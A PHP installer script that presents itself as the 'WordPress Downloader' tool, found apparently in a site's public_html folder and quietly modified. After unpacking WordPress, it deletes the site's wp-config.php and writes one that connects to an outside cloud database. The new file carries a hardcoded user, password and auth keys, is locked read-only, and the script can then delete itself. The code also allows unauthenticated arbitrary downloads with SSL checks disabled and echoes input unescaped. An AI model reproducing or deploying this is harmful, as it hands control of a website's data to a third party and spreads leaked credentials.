/home/wsweb680/public_html/rchall.ca/wpdownloader.php
<?php
// Force flush log output real-time
while (ob_get_level()) {
ob_end_flush();
}
ob_implicit_flush(true);
// WordPress Downloader is released under the GPL Version 2, June 1991
// http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
if ($_GET || $_POST) {
try {
$url = isset($_REQUEST['url']) ? trim($_REQUEST['url']) : '';
if (!$url) {
throw new Exception(
'A WordPress release link is required. Recommended: https://wordpress.org/latest.zip'
);
}
$keep_wordpress_folder = !empty($_REQUEST['kwf']);
$delete_self = !empty($_REQUEST['ds']);
// Buat User-Agent sedikit dinamis
$ua_list = [
'Mozilla/5.0 (compatible; WP-Downloader/1.0)',
'WordPressDownloader/'.mt_rand(100,999),
'WP-InstallBot/'.date('Ymd')
];
$ua = $ua_list[array_rand($ua_list)];
$zipFile = 'wordpress.zip';
$fp = fopen($zipFile, 'w');
// Setup curl
$ch = curl_init();
$curl_opts = [
CURLOPT_URL => $url,
CURLOPT_USERAGENT => $ua,
CURLOPT_FAILONERROR => true,
CURLOPT_HEADER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_AUTOREFERER => true,
CURLOPT_TIMEOUT => 120,
CURLOPT_FILE => $fp,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Accept: */*',
'Connection: keep-alive'
]
];
curl_setopt_array($ch, $curl_opts);
$download_ok = curl_exec($ch);
if (!$download_ok) {
$err = 'Download error: ' . curl_error($ch);
curl_close($ch);
throw new Exception($err);
}
curl_close($ch);
fclose($fp);
if (!file_exists($zipFile)) {
throw new Exception('Zip file not downloaded');
}
if (class_exists('ZipArchive')) {
$zip = new ZipArchive;
if ($zip->open($zipFile) !== true) {
throw new Exception('Unable to open Zip file');
}
$zip->extractTo('./');
$zip->close();
} else {
@shell_exec('unzip -d ./ ' . escapeshellarg($zipFile));
}
unlink($zipFile);
if (!is_dir('./wordpress')) {
throw new Exception('Unable to extract WordPress folder');
}
$wordpress_folder = 'wordpress/';
if (!$keep_wordpress_folder) {
recursive_move('./wordpress', './');
recursive_remove('./wordpress');
$wordpress_folder = '';
}
//$url1 = 'http://64.23.238.54/wpyana/wp-config.txt';
//$code = smartDownload($url1, $logSteps);
// Lokasi file wp-config.php yang akan dibuat/ditimpa
$wp_config_file = __DIR__ . '/wp-config.php';
// Isi konfigurasi wp-config.php
$wp_config_content = <<<'PHP'
<?php
/**
* The base configuration for WordPress
*/
// ** Database settings - You can get this info from your web host ** //
define( 'DB_NAME', 'wpyana' );
define( 'DB_USER', 'audywebmuchy112' );
define( 'DB_PASSWORD', 'AVNS_iUG1HXHQBpn3LykKsqq' );
define( 'DB_HOST', 'mysql-39d34190-ardeaindah54-047d.b.aivencloud.com:26005' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );
// Authentication unique keys and salts.
define( 'AUTH_KEY', '9a.sx~0BL-P;`NV7)w[hj;r2/e?#qaY^btM31Mrp`*,zTB$lol 9;btVTq||lb08' );
define( 'SECURE_AUTH_KEY', ';E{C{eG-Q[}*d.<>bOh 4CNBKyH.Xj;kDjzCmgk$B2v?59P;=A)!O)K7C_[%+g,T' );
define( 'LOGGED_IN_KEY', 'MY22b~V<k{|=MSjuZJ.q%ZC5<Az>-75v(VCbgNTvbt+u=bv/kz%Q7~TG| MkgZ]2' );
define( 'NONCE_KEY', ']p6RU5}q21T.QXN]j313 gJg3/})>2&CEx>4{*sm6dCh%|1`uDGdrbibw~qYCamR' );
define( 'AUTH_SALT', '(2_dN6CKs3/~^TUSt mG<o4M1HfrkFYo_OKEMTty!T/=z+q+D<i&#FZ7(v/h)_w?' );
define( 'SECURE_AUTH_SALT', 'EGyc=3DrD2FyJy=267]Ak*,_zm{=hiOxF4^C//#@v61s94:>I>RK0)}X#m7 kP_C' );
define( 'LOGGED_IN_SALT', '&sX9e|.L,QO0T.P+KQpQ8GL[2<dh*s+Ah=qixz|$xkXC_Q(!SqRt! KSDLT@!lU-' );
define( 'NONCE_SALT', 'Y9(jqRl36[aF;=YG_s!EZE]ifC$7TB(eExe;xc)@ZK0(em5KEQ)X$/Z#h{=kV$[4' );
// Table prefix
$table_prefix = 'wp_';
// Debugging mode
define( 'WP_DEBUG', false );
/** CUSTOM: Prevent redirect after login */
define( 'WP_HOME', 'https://' . $_SERVER['HTTP_HOST'] );
define( 'WP_SITEURL', 'https://' . $_SERVER['HTTP_HOST'] );
define( 'COOKIE_DOMAIN', false );
/* That's all, stop editing! Happy publishing. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
require_once ABSPATH . 'wp-settings.php';
PHP;
// ==== EDIT BAGIAN INI (ganti dari proses download jadi langsung write) ====
if (file_exists($wp_config_file)) {
@chmod($wp_config_file, 0755);
addLog($logSteps, "✅ wp-config.php lama diubah chmod ke 0755");
if (!unlink($wp_config_file)) {
addLog($logSteps, "❌ Error Log: Gagal menghapus wp-config.php lama.");
} else {
addLog($logSteps, "✅ wp-config.php lama berhasil dihapus");
}
}
if (file_put_contents($wp_config_file, $wp_config_content) !== false) {
addLog($logSteps, "✅ File wp-config.php baru berhasil dibuat");
if (@chmod($wp_config_file, 0444)) {
addLog($logSteps, "✅ wp-config.php baru berhasil di chmod 0444");
$selfKill = true;
} else {
addLog($logSteps, "❌ Error Log: Gagal chmod wp-config.php baru");
}
} else {
addLog($logSteps, "❌ Error Log: Gagal membuat wp-config.php baru");
}
if ($delete_self) {
@unlink(__FILE__);
}
$status = [
'error' => false,
'message' => 'Download complete, ZIP extracted, WordPress installed'
];
} catch (Exception $e) {
$status = [
'error' => true,
'message' => $e->getMessage()
];
}
}
// ==================== LOG HELPER ====================
function addLog(&$logs, $message) {
$time = date("H:i:s");
$logs[] = "[$time] $message";
echo "[$time] $message<br>\n";
@ob_flush();
@flush();
}
function smartDownload($url, &$logSteps) {
// 1. coba pakai file_get_contents
if (ini_get('allow_url_fopen')) {
$data = @file_get_contents($url);
if ($data !== false) {
addLog($logSteps, "🌐 Download menggunakan file_get_contents()");
return $data;
}
}
// 2. coba pakai curl
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$data = curl_exec($ch);
curl_close($ch);
if ($data !== false) {
addLog($logSteps, "🌐 Download fallback via cURL");
return $data;
}
}
// 3. coba pakai wget atau curl via shell
if (function_exists('exec')) {
$tmp = tempnam(sys_get_temp_dir(), "dl_");
@exec("wget -q -O " . escapeshellarg($tmp) . " " . escapeshellarg($url));
if (file_exists($tmp) && filesize($tmp) > 0) {
$data = file_get_contents($tmp);
unlink($tmp);
addLog($logSteps, "🌐 Download fallback via wget (exec)");
return $data;
}
@exec("curl -L -s -o " . escapeshellarg($tmp) . " " . escapeshellarg($url));
if (file_exists($tmp) && filesize($tmp) > 0) {
$data = file_get_contents($tmp);
unlink($tmp);
addLog($logSteps, "🌐 Download fallback via curl (exec)");
return $data;
}
@unlink($tmp);
}
return false; // semua gagal
}
function recursive_move($src,$dst)
{
$dir = opendir($src);
@mkdir($dst);
while(false !== ($file = readdir($dir)))
{
if ($file != '.' AND $file != '..')
{
if (is_dir($src . '/' . $file))
{
recursive_move($src . '/' . $file,$dst . '/' . $file);
}
else
{
rename($src . '/' . $file,$dst . '/' . $file);
}
}
}
closedir($dir);
}
function recursive_remove($src)
{
$dir = opendir($src);
while(false !== ($file = readdir($dir)))
{
if ($file != '.' AND $file != '..')
{
if (is_dir($src . '/' . $file))
{
recursive_remove($src . '/' . $file);
}
else
{
unlink($src . '/' . $file);
}
}
}
rmdir($src);
closedir($dir);
}
// get the latest wordpress version
$version = '';
$contents = @file_get_contents('http://wordpress.org/download/');
if (!empty($contents))
{
preg_match('/download-button.*>(.*)<\/a/iUS',$contents,$m);
$version = trim(str_ireplace(array(' ','download','wordpress'),'',strip_tags($m[1])));
}
$url = !isset($_REQUEST['url']) ? 'https://wordpress.org/latest.zip' : $_REQUEST['url'] ;
$kwf = (isset($_REQUEST['kwf']) AND $_REQUEST['kwf']==1) ? ' checked="checked"' : '' ;
$ds = (empty($_REQUEST['ds']) OR (isset($_REQUEST['ds']) AND $_REQUEST['ds']==1)) ? ' checked="none"' : '' ;
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress Downloader</title>
<style>
html{background:#f7f7f7;}body{color:#333;font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;}#body{background:#fff;margin:2em auto 0 auto;width:700px;padding:1em 2em;-moz-border-radius:11px;-khtml-border-radius:11px;-webkit-border-radius:11px;border-radius:11px;border:1px solid #dfdfdf;}a{color:#2583ad;text-decoration:none;}a:hover{color:#d54e21;}h1{clear:both;color:#666;font:24px Georgia,"Times New Roman",Times,serif;margin:5px 0 0 -4px;padding:0;padding-bottom:7px;}h2{font-size:16px;}p,li{padding-bottom:2px;font-size:12px;line-height:18px;}code{font-size:13px;}ul,ol{padding:5px 5px 5px 22px;}#logo{margin:6px 0 14px 0;border-bottom:none;}.step{margin:20px 0 15px;}.step,th{text-align:left;padding:0;}.submit input,.button,.button-secondary{font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;text-decoration:none;font-size:14px!important;line-height:16px;padding:6px 12px;cursor:pointer;border:1px solid #bbb;color:#464646;-moz-border-radius:15px;-khtml-border-radius:15px;-webkit-border-radius:15px;border-radius:15px;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;-khtml-box-sizing:content-box;box-sizing:content-box;}.button:hover,.button-secondary:hover,.submit input:hover{color:#000;border-color:#666;}.button,.submit input,.button-secondary{background-color:#f2f2f2;}.button:active,.submit input:active,.button-secondary:active{background-color:#eee;}.form-table{border-collapse:collapse;margin-top:1em;width:100%;}.form-table td{margin-bottom:9px;padding:10px;border-bottom:8px solid #fff;font-size:12px;}.form-table th{font-size:13px;text-align:left;padding:16px 10px 10px 10px;border-bottom:8px solid #fff;width:110px;vertical-align:top;}.form-table tr{background:#f3f3f3;}.form-table code{line-height:18px;font-size:18px;}.form-table p{margin:4px 0 0 0;font-size:11px;}.form-table input{line-height:20px;font-size:15px;padding:2px;}#error-page{margin-top:50px;}#error-page p{font-size:12px;line-height:18px;margin:25px 0 20px;}#error-page code{font-family:Consolas,Monaco,Courier,monospace;}label{color:#666;font-weight:bold;display:block;margin-bottom:3px;}span{font-size:11px;color:#999;}.message{background-color:#fff;padding:10px 20px;-moz-border-radius:7px;-khtml-border-radius:7px;-webkit-border-radius:7px;border-radius:7px;}.message.success {background-color:#cfc;color:green;}.message.error{background-color:#fcc;border:0;color:red;}#footer{width:700px;margin:10px auto 0;font-size:11px;text-align:center;color:#ccc;}
</style>
</head>
<body>
<div id="body">
<h1>WordPress Downloader</h1>
<?php if ($_REQUEST AND !empty($status)): ?>
<p class="message<?php echo $status['error'] ? ' error' : ' success' ; ?>"><?php echo $status['message']; ?></p>
<?php if (!$status['error']): ?><p><br/><a class="button" href="<?php echo !empty($wordpress_folder) ? $wordpress_folder : '' ; ?>index.php">Continue to configure WordPress...</a></p><?php endif; ?>
<?php endif; ?>
<?php if (empty($status) OR $status['error']): ?>
<p>Lets get started, and hopefully save you a little bit of time!</p>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<p><label>WordPress Release Zip Link</label>
<input style="width:99%" type="text" name="url" value="<?php echo $url; ?>"/><br/>
<span>Copy and paste a valid WordPress Zip file link<?php if ($version): ?>, latest WordPress release is <strong><?php echo $version; ?></strong><?php endif; ?></span></p>
<p>If you need a <a href="http://wordpress.org/download/release-archive/" target="_blank">different WordPress version</a>, browse for the release you want and copy the Zip file link location by right-clicking (<em>or control-clicking</em>) the <code>zip</code> link and choosing "Copy Link Location", paste the link below...</p>
<p><input type="checkbox" name="kwf" value="1"<?php echo $kwf; ?>> Keep <code>wordpress</code> folder after Zip extraction?</p>
<p class="submit"><input type="submit" name="submit" value="Download now!"/></p>
</form>
<?php endif; ?>
</div>
<div id="footer"><a href="http://farinspace.com/2010/04/wordpress-downloader/">WordPress Downloader</a> | <a href="http://farinspace.com/">farinspace web</a></div>
</body>
</html>